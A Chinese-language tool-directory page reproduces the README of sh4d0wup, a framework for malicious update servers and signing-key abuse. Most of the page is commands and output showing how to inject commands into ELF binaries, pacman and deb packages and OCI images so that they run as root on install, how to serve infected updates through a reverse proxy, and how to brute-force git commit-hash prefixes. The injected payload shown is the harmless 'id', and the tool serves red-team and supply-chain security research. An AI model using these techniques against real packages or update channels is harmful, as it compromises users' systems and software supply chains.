Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具，武装您的安全武器库！

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新，查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
sh4d0wup — 签名密钥滥用与更新利用框架 | Kitploit
工具/GitHubGitHub/kpcyrd/sh4d0wup
漏洞利用渗透测试命令与控制供应链安全红队Payload 开发
GitHubkpcyrd/sh4d0wup

sh4d0wup

签名密钥滥用与更新利用框架

查看仓库
1311317天前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

sh4d0wup

root@kitploit:~
% docker run -it --rm ghcr.io/kpcyrd/sh4d0wup:edge -h
Usage: sh4d0wup [OPTIONS] <COMMAND>

Commands:
  bait         Start a malicious update server
  front        Bind a http/https server but forward everything unmodified
  infect       High level tampering, inject additional commands into a package
  tamper       Low level tampering, patch a package database to add malicious packages, cause updates or influence dependency resolution
  keygen       Generate signing keys with the given parameters
  sign         Use signing keys to generate signatures
  hsm          Interact with hardware signing keys
  build        Compile an attack based on a plot
  check        Check if the plot can still execute correctly against the configured image
  req          Emulate a http request to test routing and selectors
  completions  Generate shell completions
  help         Print this message or the help of the given subcommand(s)

Options:
  -v, --verbose...  Increase logging output (can be used multiple times)
  -q, --quiet...    Reduce logging output (can be used multiple times)
  -h, --help        Print help information
  -V, --version     Print version information

👻 什么是影子更新（shadow updates）？

你是否曾想过，你下载的更新是否和其他人得到的完全相同？或者你收到的更新是专门为你定制的？影子更新指的是那些官方并不存在，但携带有效签名且能被客户端当作真实更新接受的更新。这种情况可能发生在签名密钥被黑客窃取，或者拥有合法权限的发布工程师变节时。

sh4d0wup 是一个恶意的 HTTP/HTTPS 更新服务器，它作为合法服务器的反向代理运行，能够感染并对多种工件格式进行签名。攻击通过 plot 文件配置，该文件描述了 HTTP 请求路由方式、工件的修补/生成方式、签名方法以及使用的密钥。路由可以设置 selectors，例如仅当用户代理匹配某个模式或客户端从特定 IP 地址连接时才触发。在开发与测试阶段，可以生成模拟签名密钥/证书并将其标记为可信。

🏗️ 构建 sh4d0wup 可执行文件

Arch Linux 的 [extra] 仓库中提供了预编译的二进制文件。在基于 Debian 的系统上从源码构建（已在 Ubuntu 22.04 上测试）：

root@kitploit:~
apt-get install curl git build-essential clang pkg-config libssl-dev libzstd-dev libpcsclite-dev liblzma-dev
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y
source "$HOME/.cargo/env"
git clone https://github.com/kpcyrd/sh4d0wup
cd sh4d0wup
cargo build --release

sudo cp ./target/release/sh4d0wup /usr/bin
sh4d0wup --help

📦 编译 plot

某些 plot 的准备过程比其他更复杂；为了避免因下载和工件修补导致启动时间过长，可以提前构建 plot。这也可以提前生成签名。

root@kitploit:~
sh4d0wup build ./contrib/plot-hello-world.yaml -o ./plot.tar.zst

🦝 运行 plot

这将根据 plot 启动一个恶意的 HTTP 更新服务器。该命令也接受 yaml 文件，但可能需要更长时间启动。

root@kitploit:~
sh4d0wup bait -B 0.0.0.0:1337 ./plot.tar.zst

你可以在以下位置找到示例：

  • contrib/plot-archlinux.yaml
  • contrib/plot-debian.yaml
  • contrib/plot-rustup.yaml
  • contrib/plot-curl-sh.yaml

🪄 感染工件

  • sh4d0wup infect elf
  • sh4d0wup infect pacman
  • sh4d0wup infect deb
  • sh4d0wup infect oci

sh4d0wup infect elf

root@kitploit:~
% sh4d0wup infect elf /usr/bin/sh4d0wup -c id a.out
[2022-12-19T23:50:52Z INFO  sh4d0wup::infect::elf] 启动 C 编译器...
[2022-12-19T23:50:52Z INFO  sh4d0wup::infect::elf] 生成源代码...
[2022-12-19T23:50:57Z INFO  sh4d0wup::infect::elf] 等待编译完成...
[2022-12-19T23:51:01Z INFO  sh4d0wup::infect::elf] 成功生成二进制文件
% ./a.out help
uid=1000(user) gid=1000(user) groups=1000(user),212(rebuilderd),973(docker),998(wheel)
Usage: a.out [OPTIONS] <COMMAND>

Commands:
  bait         Start a malicious update server
  infect       High level tampering, inject additional commands into a package
  tamper       Low level tampering, patch a package database to add malicious packages, cause updates or influence dependency resolution
  keygen       Generate signing keys with the given parameters
  sign         Use signing keys to generate signatures
  hsm          Interact with hardware signing keys
  build        Compile an attack based on a plot
  check        Check if the plot can still execute correctly against the configured image
  completions  Generate shell completions
  help         Print this message or the help of the given subcommand(s)

Options:
  -v, --verbose...  Turn debugging information on
  -h, --help        Print help information

sh4d0wup infect pacman

root@kitploit:~
% sh4d0wup infect pacman --set 'pkgver=0.2.0-2' /var/cache/pacman/pkg/sh4d0wup-0.2.0-1-x86_64.pkg.tar.zst -c id sh4d0wup-0.2.0-2-x86_64.pkg.tar.zst
[2022-12-09T16:08:11Z INFO  sh4d0wup::infect::pacman] 此包没有安装钩子，从头添加一个...
% sudo pacman -U sh4d0wup-0.2.0-2-x86_64.pkg.tar.zst
loading packages...
resolving dependencies...
looking for conflicting packages...

Packages (1) sh4d0wup-0.2.0-2

Total Installed Size:  13.36 MiB
Net Upgrade Size:       0.00 MiB

:: Proceed with installation? [Y/n]
(1/1) checking keys in keyring                                         [#######################################] 100%
(1/1) checking package integrity                                       [#######################################] 100%
(1/1) loading package files                                            [#######################################] 100%
(1/1) checking for file conflicts                                      [#######################################] 100%
(1/1) checking available disk space                                    [#######################################] 100%
:: Processing package changes...
(1/1) upgrading sh4d0wup                                               [#######################################] 100%
uid=0(root) gid=0(root) groups=0(root)
:: Running post-transaction hooks...
(1/2) Arming ConditionNeedsUpdate...
(2/2) Notifying arch-audit-gtk

sh4d0wup infect deb

root@kitploit:~
% sh4d0wup infect deb /var/cache/apt/archives/apt_2.2.4_amd64.deb -c id ./apt_2.2.4-1_amd64.deb --set Version=2.2.4-1
[2022-12-09T16:28:02Z INFO  sh4d0wup::infect::deb] 修补 "control.tar.xz"
% sudo apt install ./apt_2.2.4-1_amd64.deb
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
Note, selecting 'apt' instead of './apt_2.2.4-1_amd64.deb'
Suggested packages:
  apt-doc aptitude | synaptic | wajig dpkg-dev gnupg | gnupg2 | gnupg1 powermgmt-base
Recommended packages:
  ca-certificates
The following packages will be upgraded:
  apt
1 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Need to get 0 B/1491 kB of archives.
After this operation, 0 B of additional disk space will be used.
Get:1 /apt_2.2.4-1_amd64.deb apt amd64 2.2.4-1 [1491 kB]
debconf: delaying package configuration, since apt-utils is not installed
(Reading database ... 6661 files and directories currently installed.)
Preparing to unpack /apt_2.2.4-1_amd64.deb ...
Unpacking apt (2.2.4-1) over (2.2.4) ...
Setting up apt (2.2.4-1) ...
uid=0(root) gid=0(root) groups=0(root)
Processing triggers for libc-bin (2.31-13+deb11u5) ...

sh4d0wup infect oci

root@kitploit:~
% docker pull alpine:edge
% docker save alpine:edge > alpine-edge.tar
% sh4d0wup infect oci alpine-edge.tar infected.tar -c id -t infected:latest
[2022-12-12T00:31:17Z INFO  sh4d0wup::infect::oci] 原始镜像引用了配置 "121d0da757518198deeb7d1df20aaae549834f8bc77195bbf5be1900c0144cff.json": LayerConfig { config: Some(Config { user: Some(""), exposed_ports: None, env: Some(["PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"]), entrypoint: None, cmd: Some(["/bin/sh"]), volumes: None, working_dir: Some(""), labels: None, stop_signal: None }), rootfs: Some(RootFs { type: "layers", diff_ids: ["sha256:2f7048230bc73ff091490aa5764f9c160d1a4efe04935da731a22e8d5fcccfcc"] }), extra: {"container_config": Object {"AttachStderr": Bool(false), "AttachStdin": Bool(false), "AttachStdout": Bool(false), "Cmd": Array [String("/bin/sh"), String("-c"), String("#(nop) "), String("CMD [\"/bin/sh\"]")], "Domainname": String(""), "Entrypoint": Null, "Env": Array [String("PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin")], "Hostname": String("457781b778a4"), "Image": String("sha256:28d4c3ce9341a318d475e64365e47a34d5b9ba6c670bed35ce90b2402296ead6"), "Labels": Object {}, "OnBuild": Null, "OpenStdin": Bool(false), "StdinOnce": Bool(false), "Tty": Bool(false), "User": String(""), "Volumes": Null, "WorkingDir": String("")}, "architecture": String("amd64"), "created": String("2022-11-10T20:19:29.043621251Z"), "history": Array [Object {"created": String("2022-11-10T20:19:28.834390785Z"), "created_by": String("/bin/sh -c #(nop) ADD file:51c4407dc777648e8ebc8e124b05feb1807699ade513b6006a9a409f6b0f6f51 in / ")}, Object {"created": String("2022-11-10T20:19:29.043621251Z"), "created_by": String("/bin/sh -c #(nop)  CMD [\"/bin/sh\"]"), "empty_layer": Bool(true)}], "os": String("linux"), "docker_version": String("20.10.12"), "container": String("457781b778a449c9eac455ca1a18300a4041cb2b0d2d3f979460d19d7632ebf7")} }
[2022-12-12T00:31:17Z INFO  sh4d0wup::infect::oci] 在镜像中创建新层："patched"
[2022-12-12T00:31:17Z INFO  sh4d0wup::infect::oci] 为有效载荷 "id" 生成文件系统层
[2022-12-12T00:31:17Z INFO  sh4d0wup::infect::oci] 更新镜像标签为 ["infected:latest"]
[2022-12-12T00:31:17Z INFO  sh4d0wup::infect::oci] 写入修改后的清单...
% docker load -i infected.tar
Loaded image: infected:latest
% docker run -it infected echo hello world
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
hello world

暴力破解 Git 提交部分碰撞

以下是一个简短的 one-liner，演示如何获取 Git 仓库的最新提交，将其发送到安装了 sh4d0wup 的远程计算机上进行微调，直到提交 ID 以指定的 --collision-prefix 开头，然后将新提交插入回本地的仓库：

root@kitploit:~
% git cat-file commit HEAD | ssh lots-o-time nice sh4d0wup tamper git-commit --stdin --collision-prefix 7777 --strip-header | git hash-object -w -t commit --stdin

这可能需要一些时间，最终它会显示一个你可以用来创建新分支的提交 ID：

root@kitploit:~
git show 777754fde8...
git branch some-name 777754fde8...
下载工具